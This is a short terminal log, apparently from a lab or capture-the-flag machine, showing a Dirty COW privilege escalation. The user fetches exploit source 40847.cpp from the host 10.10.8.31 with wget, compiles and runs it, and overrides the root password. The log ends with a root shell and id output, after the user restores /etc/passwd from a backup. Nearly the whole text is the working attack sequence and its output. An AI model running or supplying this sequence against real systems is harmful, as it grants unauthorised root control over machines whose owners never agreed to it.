1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| yongz@ubuntu:/tmp$ wget http://10.10.8.31/40847.cpp --2024-02-17 04:27:52-- http://10.10.8.31/40847.cpp Connecting to 10.10.8.31:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10212 (10.0K) [text/x-c++src] Saving to: ‘40847.cpp’
100%[======================================>] 10,212 --.-K/s in 0s
2024-02-17 04:27:52 (663 MB/s) - ‘40847.cpp’ saved [10212/10212] yongz@ubuntu:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil yongz@ubuntu:/tmp$ ./dcow -s Running ... Password overridden to: dirtyCowFun
Received su prompt (Password: )
root@ubuntu:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs root@ubuntu:~# cp /tmp/.ssh_bak /etc/passwd root@ubuntu:~# rm /tmp/.ssh_bak root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root)
|